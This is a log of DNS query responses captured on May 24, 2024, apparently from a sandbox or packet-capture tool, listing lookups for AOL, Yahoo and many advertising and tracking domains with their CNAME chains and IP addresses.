May 24, 2024 00:34:42.440290928 CEST	1.1.1.1	192.168.2.6	0xf1a1	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.17.240.55	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:42.440290928 CEST	1.1.1.1	192.168.2.6	0xf1a1	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.215.87.217	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:42.440290928 CEST	1.1.1.1	192.168.2.6	0xf1a1	No error (0)	prod-rotation-v2.guce.aws.oath.cloud		52.214.224.102	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:42.468195915 CEST	1.1.1.1	192.168.2.6	0xf25	No error (0)	guce.aol.com	real.rotation.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:42.468195915 CEST	1.1.1.1	192.168.2.6	0xf25	No error (0)	real.rotation.guce.aws.oath.cloud	prod-rotation-v2.guce.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:42.756961107 CEST	1.1.1.1	192.168.2.6	0x219e	No error (0)	www.aol.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:42.756961107 CEST	1.1.1.1	192.168.2.6	0x219e	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:42.756961107 CEST	1.1.1.1	192.168.2.6	0x219e	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:42.756999969 CEST	1.1.1.1	192.168.2.6	0xb573	No error (0)	www.aol.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:44.494544983 CEST	1.1.1.1	192.168.2.6	0x28f7	No error (0)	3p-udc.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:44.494544983 CEST	1.1.1.1	192.168.2.6	0x28f7	No error (0)	udc-ats.media.g03.yahoodns.net		188.125.72.139	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:44.511847973 CEST	1.1.1.1	192.168.2.6	0xac16	No error (0)	3p-udc.yahoo.com	udc-ats.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:48.262273073 CEST	1.1.1.1	192.168.2.6	0x4b2b	No error (0)	video-api.yql.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:48.262273073 CEST	1.1.1.1	192.168.2.6	0x4b2b	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:48.262273073 CEST	1.1.1.1	192.168.2.6	0x4b2b	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:48.270498991 CEST	1.1.1.1	192.168.2.6	0xe69d	No error (0)	video-api.yql.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:49.449259996 CEST	1.1.1.1	192.168.2.6	0x2369	No error (0)	securepubads.g.doubleclick.net		142.250.186.66	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:49.462948084 CEST	1.1.1.1	192.168.2.6	0x2195	No error (0)	securepubads.g.doubleclick.net			65	IN (0x0001)	false
May 24, 2024 00:34:49.464730978 CEST	1.1.1.1	192.168.2.6	0xd121	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:49.464740992 CEST	1.1.1.1	192.168.2.6	0x54b4	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:49.464740992 CEST	1.1.1.1	192.168.2.6	0x54b4	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:49.464740992 CEST	1.1.1.1	192.168.2.6	0x54b4	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:49.539334059 CEST	1.1.1.1	192.168.2.6	0x7b89	No error (0)	membernotifications.aol.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:49.539349079 CEST	1.1.1.1	192.168.2.6	0xbe92	No error (0)	membernotifications.aol.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:49.539349079 CEST	1.1.1.1	192.168.2.6	0xbe92	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:49.539349079 CEST	1.1.1.1	192.168.2.6	0xbe92	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:49.647548914 CEST	1.1.1.1	192.168.2.6	0xdadd	No error (0)	i.clean.gg		34.95.69.49	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.021313906 CEST	1.1.1.1	192.168.2.6	0x382f	No error (0)	i.clean.gg		34.95.69.49	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.639967918 CEST	1.1.1.1	192.168.2.6	0x42e5	No error (0)	idx.liadm.com	idx.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.639967918 CEST	1.1.1.1	192.168.2.6	0x42e5	No error (0)	idx.cph.liveintent.com		184.73.49.33	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.639967918 CEST	1.1.1.1	192.168.2.6	0x42e5	No error (0)	idx.cph.liveintent.com		3.223.221.123	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.639967918 CEST	1.1.1.1	192.168.2.6	0x42e5	No error (0)	idx.cph.liveintent.com		44.215.170.75	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.639967918 CEST	1.1.1.1	192.168.2.6	0x42e5	No error (0)	idx.cph.liveintent.com		18.210.125.214	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.639967918 CEST	1.1.1.1	192.168.2.6	0x42e5	No error (0)	idx.cph.liveintent.com		34.227.198.57	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.639967918 CEST	1.1.1.1	192.168.2.6	0x42e5	No error (0)	idx.cph.liveintent.com		52.203.33.12	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.639967918 CEST	1.1.1.1	192.168.2.6	0x42e5	No error (0)	idx.cph.liveintent.com		3.211.31.230	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.639967918 CEST	1.1.1.1	192.168.2.6	0x42e5	No error (0)	idx.cph.liveintent.com		44.197.96.190	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.639988899 CEST	1.1.1.1	192.168.2.6	0x92ea	No error (0)	prebid.media.net		34.120.63.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.640028000 CEST	1.1.1.1	192.168.2.6	0x8e69	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.640028000 CEST	1.1.1.1	192.168.2.6	0x8e69	No error (0)	hbprebid-v3.pubmnet.com	hbopenbid-ams.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.640028000 CEST	1.1.1.1	192.168.2.6	0x8e69	No error (0)	hbopenbid-ams.pubmnet.com		185.64.189.112	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.640042067 CEST	1.1.1.1	192.168.2.6	0x72f9	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.640042067 CEST	1.1.1.1	192.168.2.6	0x72f9	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.640042067 CEST	1.1.1.1	192.168.2.6	0x72f9	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.640048981 CEST	1.1.1.1	192.168.2.6	0xeca1	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.642781019 CEST	1.1.1.1	192.168.2.6	0x1961	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.642781019 CEST	1.1.1.1	192.168.2.6	0x1961	No error (0)	hbprebid-v3.pubmnet.com	hbopenbid-ams.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.642797947 CEST	1.1.1.1	192.168.2.6	0x4ff8	No error (0)	idx.liadm.com	idx.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.673346996 CEST	1.1.1.1	192.168.2.6	0xc7d5	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.673346996 CEST	1.1.1.1	192.168.2.6	0xc7d5	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.673378944 CEST	1.1.1.1	192.168.2.6	0xeec8	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	c2shb-oao.ssp.yahoo.com	web-oao.ssp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	web-oao.ssp.yahoo.com	web-oao.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	web-oao.one-mobile-prod.aws.oath.cloud	emea-dtp-oao.ybp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	emea-dtp-oao.ybp.yahoo.com	dtp-gateway-prod-eu-west-1.dsp-plus-backend.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	dtp-gateway-prod-eu-west-1.dsp-plus-backend.aws.oath.cloud	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		34.250.204.32	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		99.80.161.19	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		34.248.144.134	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		99.80.59.81	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		54.220.51.236	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.673391104 CEST	1.1.1.1	192.168.2.6	0xaeee	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		52.16.182.102	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.673399925 CEST	1.1.1.1	192.168.2.6	0xe875	No error (0)	bidder.criteo.com	bidder.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.673399925 CEST	1.1.1.1	192.168.2.6	0xe875	No error (0)	bidder.nl3.vip.prod.criteo.com		178.250.1.8	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.678392887 CEST	1.1.1.1	192.168.2.6	0x7627	No error (0)	tlx.3lift.com	eu-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.678392887 CEST	1.1.1.1	192.168.2.6	0x7627	No error (0)	eu-tlx.3lift.com		3.78.168.176	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.678392887 CEST	1.1.1.1	192.168.2.6	0x7627	No error (0)	eu-tlx.3lift.com		3.124.64.248	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.678392887 CEST	1.1.1.1	192.168.2.6	0x7627	No error (0)	eu-tlx.3lift.com		18.157.230.4	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.678406000 CEST	1.1.1.1	192.168.2.6	0x4f7e	No error (0)	bidder.criteo.com	bidder.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.678415060 CEST	1.1.1.1	192.168.2.6	0xd8ea	No error (0)	tlx.3lift.com	eu-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.678423882 CEST	1.1.1.1	192.168.2.6	0x5216	No error (0)	rtb.openx.net		35.186.253.211	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.678423882 CEST	1.1.1.1	192.168.2.6	0x5216	No error (0)	rtb.openx.net		35.227.252.103	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.680075884 CEST	1.1.1.1	192.168.2.6	0xf1fa	No error (0)	display.bidder.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.680075884 CEST	1.1.1.1	192.168.2.6	0xf1fa	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.680075884 CEST	1.1.1.1	192.168.2.6	0xf1fa	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.680075884 CEST	1.1.1.1	192.168.2.6	0xf1fa	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.680075884 CEST	1.1.1.1	192.168.2.6	0xf1fa	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.680108070 CEST	1.1.1.1	192.168.2.6	0x2191	No error (0)	display.bidder.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.692305088 CEST	1.1.1.1	192.168.2.6	0xa66d	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	rw.yieldmo.com	gdpr.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	gdpr.rw.yieldmo.com	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		3.248.168.119	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		54.77.35.70	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		52.18.69.148	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		34.252.196.148	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		54.170.121.32	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		52.209.140.47	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		108.129.27.35	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.692317009 CEST	1.1.1.1	192.168.2.6	0xa3a2	No error (0)	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		99.81.151.194	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.693667889 CEST	1.1.1.1	192.168.2.6	0xf9b7	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.693667889 CEST	1.1.1.1	192.168.2.6	0xf9b7	No error (0)	rw.yieldmo.com	gdpr.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.693667889 CEST	1.1.1.1	192.168.2.6	0xf9b7	No error (0)	gdpr.rw.yieldmo.com	rw-yieldmo-com-tf-362867385.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.693680048 CEST	1.1.1.1	192.168.2.6	0x54dc	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.706084013 CEST	1.1.1.1	192.168.2.6	0xeb63	No error (0)	rp.liadm.com	livepixel-production.bln.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.706084013 CEST	1.1.1.1	192.168.2.6	0xeb63	No error (0)	livepixel-production.bln.liveintent.com		44.219.45.70	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.706084013 CEST	1.1.1.1	192.168.2.6	0xeb63	No error (0)	livepixel-production.bln.liveintent.com		34.227.249.221	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.706084013 CEST	1.1.1.1	192.168.2.6	0xeb63	No error (0)	livepixel-production.bln.liveintent.com		34.232.239.81	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.706084013 CEST	1.1.1.1	192.168.2.6	0xeb63	No error (0)	livepixel-production.bln.liveintent.com		3.92.155.74	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.706084013 CEST	1.1.1.1	192.168.2.6	0xeb63	No error (0)	livepixel-production.bln.liveintent.com		18.215.67.151	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.706084013 CEST	1.1.1.1	192.168.2.6	0xeb63	No error (0)	livepixel-production.bln.liveintent.com		52.73.2.199	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.706084013 CEST	1.1.1.1	192.168.2.6	0xeb63	No error (0)	livepixel-production.bln.liveintent.com		34.239.234.182	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.706084013 CEST	1.1.1.1	192.168.2.6	0xeb63	No error (0)	livepixel-production.bln.liveintent.com		44.223.244.62	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:51.706159115 CEST	1.1.1.1	192.168.2.6	0x4b27	No error (0)	rp.liadm.com	livepixel-production.bln.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:51.937047005 CEST	1.1.1.1	192.168.2.6	0x7bf6	No error (0)	ncp-gw-video.media.yahoo.com	ncp-gw-video.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:52.095444918 CEST	1.1.1.1	192.168.2.6	0x2c33	No error (0)	c2shb-oao.ssp.yahoo.com	web-oao.ssp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:52.095444918 CEST	1.1.1.1	192.168.2.6	0x2c33	No error (0)	web-oao.ssp.yahoo.com	web-oao.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:52.095444918 CEST	1.1.1.1	192.168.2.6	0x2c33	No error (0)	web-oao.one-mobile-prod.aws.oath.cloud	emea-dtp-oao.ybp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:52.095444918 CEST	1.1.1.1	192.168.2.6	0x2c33	No error (0)	emea-dtp-oao.ybp.yahoo.com	dtp-gateway-prod-eu-west-1.dsp-plus-backend.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:52.095444918 CEST	1.1.1.1	192.168.2.6	0x2c33	No error (0)	dtp-gateway-prod-eu-west-1.dsp-plus-backend.aws.oath.cloud	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:52.524293900 CEST	1.1.1.1	192.168.2.6	0xa584	No error (0)	ncp-gw-video.media.yahoo.com	ncp-gw-video.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:52.524293900 CEST	1.1.1.1	192.168.2.6	0xa584	No error (0)	ncp-gw-video.g03.yahoodns.net		87.248.100.212	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.212318897 CEST	1.1.1.1	192.168.2.6	0x23c3	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.212318897 CEST	1.1.1.1	192.168.2.6	0x23c3	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.217578888 CEST	1.1.1.1	192.168.2.6	0x1f87	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
May 24, 2024 00:34:53.238571882 CEST	1.1.1.1	192.168.2.6	0xc475	No error (0)	prebid.media.net		34.120.63.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.238594055 CEST	1.1.1.1	192.168.2.6	0x259f	No error (0)	rtb.openx.net		35.186.253.211	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.238594055 CEST	1.1.1.1	192.168.2.6	0x259f	No error (0)	rtb.openx.net		35.227.252.103	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.255364895 CEST	1.1.1.1	192.168.2.6	0xe889	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:53.255364895 CEST	1.1.1.1	192.168.2.6	0xe889	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.255364895 CEST	1.1.1.1	192.168.2.6	0xe889	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.255378008 CEST	1.1.1.1	192.168.2.6	0xbd8b	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:53.946569920 CEST	1.1.1.1	192.168.2.6	0x9512	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:53.946583033 CEST	1.1.1.1	192.168.2.6	0xb3c2	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:53.959343910 CEST	1.1.1.1	192.168.2.6	0x2b48	No error (0)	rp.liadm.com	livepixel-production.bln.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:53.959343910 CEST	1.1.1.1	192.168.2.6	0x2b48	No error (0)	livepixel-production.bln.liveintent.com		44.205.154.65	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.959343910 CEST	1.1.1.1	192.168.2.6	0x2b48	No error (0)	livepixel-production.bln.liveintent.com		44.220.110.186	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.959343910 CEST	1.1.1.1	192.168.2.6	0x2b48	No error (0)	livepixel-production.bln.liveintent.com		52.73.2.199	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.959343910 CEST	1.1.1.1	192.168.2.6	0x2b48	No error (0)	livepixel-production.bln.liveintent.com		44.215.24.112	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.959343910 CEST	1.1.1.1	192.168.2.6	0x2b48	No error (0)	livepixel-production.bln.liveintent.com		34.239.234.182	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.959343910 CEST	1.1.1.1	192.168.2.6	0x2b48	No error (0)	livepixel-production.bln.liveintent.com		44.223.244.62	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.959343910 CEST	1.1.1.1	192.168.2.6	0x2b48	No error (0)	livepixel-production.bln.liveintent.com		34.230.98.106	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.959343910 CEST	1.1.1.1	192.168.2.6	0x2b48	No error (0)	livepixel-production.bln.liveintent.com		3.217.103.161	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:53.959362984 CEST	1.1.1.1	192.168.2.6	0x2b61	No error (0)	rp.liadm.com	livepixel-production.bln.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:54.055119991 CEST	1.1.1.1	192.168.2.6	0x3a15	No error (0)	cdn.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:54.055119991 CEST	1.1.1.1	192.168.2.6	0x3a15	No error (0)	tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.055119991 CEST	1.1.1.1	192.168.2.6	0x3a15	No error (0)	tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.055119991 CEST	1.1.1.1	192.168.2.6	0x3a15	No error (0)	tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.055119991 CEST	1.1.1.1	192.168.2.6	0x3a15	No error (0)	tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.062105894 CEST	1.1.1.1	192.168.2.6	0x6ab9	No error (0)	cdn.taboola.com	tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:54.081120014 CEST	1.1.1.1	192.168.2.6	0x1465	No error (0)	ncp-gw-video.media.yahoo.com	ncp-gw-video.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:54.190453053 CEST	1.1.1.1	192.168.2.6	0x481	No error (0)	rtb.gumgum.com		54.216.114.27	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.190453053 CEST	1.1.1.1	192.168.2.6	0x481	No error (0)	rtb.gumgum.com		54.246.231.153	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.190453053 CEST	1.1.1.1	192.168.2.6	0x481	No error (0)	rtb.gumgum.com		18.200.82.199	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.190453053 CEST	1.1.1.1	192.168.2.6	0x481	No error (0)	rtb.gumgum.com		54.217.112.90	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.190453053 CEST	1.1.1.1	192.168.2.6	0x481	No error (0)	rtb.gumgum.com		54.76.86.242	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.190453053 CEST	1.1.1.1	192.168.2.6	0x481	No error (0)	rtb.gumgum.com		54.77.248.190	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.190453053 CEST	1.1.1.1	192.168.2.6	0x481	No error (0)	rtb.gumgum.com		99.80.73.249	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.190453053 CEST	1.1.1.1	192.168.2.6	0x481	No error (0)	rtb.gumgum.com		63.33.2.172	A (IP address)	IN (0x0001)	false
May 24, 2024 00:34:54.618005037 CEST	1.1.1.1	192.168.2.6	0xb861	No error (0)	ncp-gw-video.media.yahoo.com	ncp-gw-video.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:34:54.618005037 CEST	1.1.1.1	192.168.2.6	0xb861	No error (0)	ncp-gw-video.g03.yahoodns.net		87.248.100.212	A (IP address)	IN (0x0001)	false
